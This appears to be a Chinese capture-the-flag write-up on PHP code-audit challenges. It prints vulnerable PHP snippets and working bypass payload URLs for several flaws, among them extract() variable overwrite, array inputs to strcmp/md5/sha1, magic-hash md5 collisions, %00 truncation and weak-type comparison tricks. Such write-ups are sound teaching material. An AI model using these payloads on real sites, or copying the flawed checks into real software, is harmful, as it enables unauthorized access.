题目给出如下源码:1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 <?php $flag='xxx'; extract($_GET); if(isset($shiyan)) { $content=trim(file_get_contents($flag)); if($shiyan==$content) { echo'flag{xxx}'; } else { echo'Oh.no'; } } ?>
这里主要用到了extract()变量覆盖函数,百度的解释是1 2 3 extract()函数能将变量从数组导入当前的符号表 extract(array,extract_rules,prefix) extract_rules:EXTR_OVERWRITE - 默认。如果有冲突,则覆盖已有的变量。
1 当extract()函数从用户可以控制的数组中导出变量时,可能发生变量覆盖,在这个例子中,extract()从$_GET中导出变量,从而可以导致任意变量被覆盖.
构造payload如下:1 http://120.24.86.145:9009/1.php?shiyan=&flag=
这里因为我们不知道flag是什么,尝试让这两个都为空.
得到flag{bugku-dmsj-p2sm3N}
0x02 strcmp比较字符串 题目给出的源代码如下:1 2 3 4 5 6 7 8 9 10 <?php $flag = "flag{xxxxx}"; if (isset($_GET['a'])) { if (strcmp($_GET['a'], $flag) == 0) //如果 str1 小于 str2 返回 < 0; 如果 str1大于 str2返回 > 0;如果两者相等,返回 0。 //比较两个字符串(区分大小写) die('Flag: '.$flag); else print 'No'; } ?>
构造payload:1 http://120.24.86.145:9009/6.php?a[]=1
因为strcmp这个函数无法识别数组从而报错为0
0x03 urldecode二次编码绕过 1 2 3 4 5 6 7 8 9 10 11 12 13 <?php if(eregi("hackerDJ",$_GET[id])) { echo("not allowed!"); exit(); } $_GET[id] = urldecode($_GET[id]); if($_GET[id] == "hackerDJ") { echo "Access granted!"; echo "flag"; } ?>
利用了两次urldecode第一次是浏览器的解码第二次是函数的解码
构造payload:1 http://120.24.86.145:9009/10.php?id=hacker%2544J
0x04 md5()函数 1 2 3 4 5 6 7 8 9 10 11 12 <?php error_reporting(0); $flag = 'flag{test}'; if (isset($_GET['username']) and isset($_GET['password'])) { if ($_GET['username'] == $_GET['password']) print 'Your password can not be your username.'; else if (md5($_GET['username']) === md5($_GET['password'])) die('Flag: '.$flag); else print 'Invalid password'; } ?>
这里的md5函数漏洞和strcmp漏洞一样,也一样无法识别数组 构造payload如下:1 http://120.24.86.145:9009/18.php?username[]=1&password[]=2
0x05 数组返回NULL绕过 1 2 3 4 5 6 7 8 9 10 11 12 <?php $flag = "flag"; if (isset ($_GET['password'])) { if (ereg ("^[a-zA-Z0-9]+$", $_GET['password']) === FALSE) echo 'You password must be alphanumeric'; else if (strpos ($_GET['password'], '--') !== FALSE) die('Flag: ' . $flag); else echo 'Invalid password'; } ?>
这里有两种方法
?password=a%00– 因为ereg对%00截断
?password[]=a 因为ereg不能处理数组,返回null。===三个等号不会将null转化相同类型,从而null不等于FALSE,同样地strpos函数也不能处理数组,也会返回null
0x06 弱类型整数大小比较绕过 1 2 3 4 $temp = $_GET['password']; is_numeric($temp)?die("no numeric"):NULL; if($temp>1336){ echo $flag;
原理:php弱类型
1 http://120.24.86.145:9009/22.php?password=1444a
0x07 sha()函数比较绕过 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 <?php $flag = "flag"; if (isset($_GET['name']) and isset($_GET['password'])) { var_dump($_GET['name']); echo ""; var_dump($_GET['password']); var_dump(sha1($_GET['name'])); var_dump(sha1($_GET['password'])); if ($_GET['name'] == $_GET['password']) echo 'Your password can not be your name!'; else if (sha1($_GET['name']) === sha1($_GET['password'])) die('Flag: '.$flag); else echo 'Invalid password.'; } else echo 'Login first!'; ?>
sha1()存在数组漏洞,构造payload:1 http://120.24.86.145:9009/7.php?name[]=1&password[]=2
0x08 md5加密相等绕过 1 2 3 4 5 6 7 8 9 10 11 12 <?php $md51 = md5('QNKCDZO'); $a = @$_GET['a']; $md52 = @md5($a); if(isset($a)){ if ($a != 'QNKCDZO' && $md51 == $md52) { echo "flag{*}"; } else { echo "false!!!"; }} else{echo "please input a";} ?>
https://ntwyc2018.github.io/2018/02/25/phpruoleixing/
构造payload:1 http://120.24.86.145:9009/13.php?a=s878926199a
0x09 十六进制与数字比较 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 <?php error_reporting(0); function noother_says_correct($temp) { $flag = 'flag{test}'; $one = ord('1'); //ord — 返回字符的 ASCII 码值 $nine = ord('9'); //ord — 返回字符的 ASCII 码值 $number = '3735929054'; // Check all the input characters! for ($i = 0; $i < strlen($number); $i++) { // Disallow all the digits! $digit = ord($temp{$i}); if ( ($digit >= $one) && ($digit <= $nine) ) { // Aha, digit not allowed! return "flase"; } if($number == $temp) return $flag; } $temp = $_GET['password']; echo noother_says_correct($temp); ?>
十六进制绕过,将number的值转化为十六进制赋给password
1 http://120.24.86.145:9009/20.php?password=0xdeadc0de
写个python脚本转化即可1 >>> print(hex(3735929054))
0x10 ereg正则%00截断 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 <?php $flag = "xxx"; if (isset ($_GET['password'])) { if (ereg ("^[a-zA-Z0-9]+$", $_GET['password']) === FALSE) { echo 'You password must be alphanumeric'; } else if (strlen($_GET['password']) < 8 && $_GET['password'] > 9999999) { if (strpos ($_GET['password'], '-') !== FALSE) //strpos — 查找字符串首次出现的位置 { die('Flag: ' . $flag); } else { echo('- have not been found'); } } else { echo 'Invalid password'; } } ?>
第八行strlen等用科学计数法绕过,比如1e8 构造payload如下:1 http://120.24.86.145:9009/5.php?password=1e8%00*-*
0x11 strpos数组绕过 1 2 3 4 5 6 7 8 9 10 11 <?php $flag = "flag"; if (isset ($_GET['ctf'])) { if (@ereg ("^[1-9]+$", $_GET['ctf']) === FALSE) echo '必须输入数字才行'; else if (strpos ($_GET['ctf'], '#biubiubiu') !== FALSE) die('Flag: '.$flag); else echo '骚年,继续努力吧啊~'; } ?>
这个上面说过了,strpos不能处理数组,返回null1 http://120.24.86.145:9009/15.php?ctf[]=%00a
0x12 数字验证正则绕过 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 <?php error_reporting(0); $flag = 'flag{test}'; if ("POST" == $_SERVER['REQUEST_METHOD']) { $password = $_POST['password']; if (0 >= preg_match('/^[[:graph:]]{12,}$/', $password)) //preg_match — 执行一个正则表达式匹配 { echo 'flag'; exit; } while (TRUE) { $reg = '/([[:punct:]]+|[[:digit:]]+|[[:upper:]]+|[[:lower:]]+)/'; if (6 > preg_match_all($reg, $password, $arr)) break; $c = 0; $ps = array('punct', 'digit', 'upper', 'lower'); //[[:punct:]] 任何标点符号 [[:digit:]] 任何数字 [[:upper:]] 任何大写字母 [[:lower:]] 任何小写字母 foreach ($ps as $pt) { if (preg_match("/[[:$pt:]]+/", $password)) $c += 1; } if ($c < 3) break; //>=3,必须包含四种类型三种与三种以上 if ("42" == $password) echo $flag; else echo 'Wrong password'; exit; } } ?>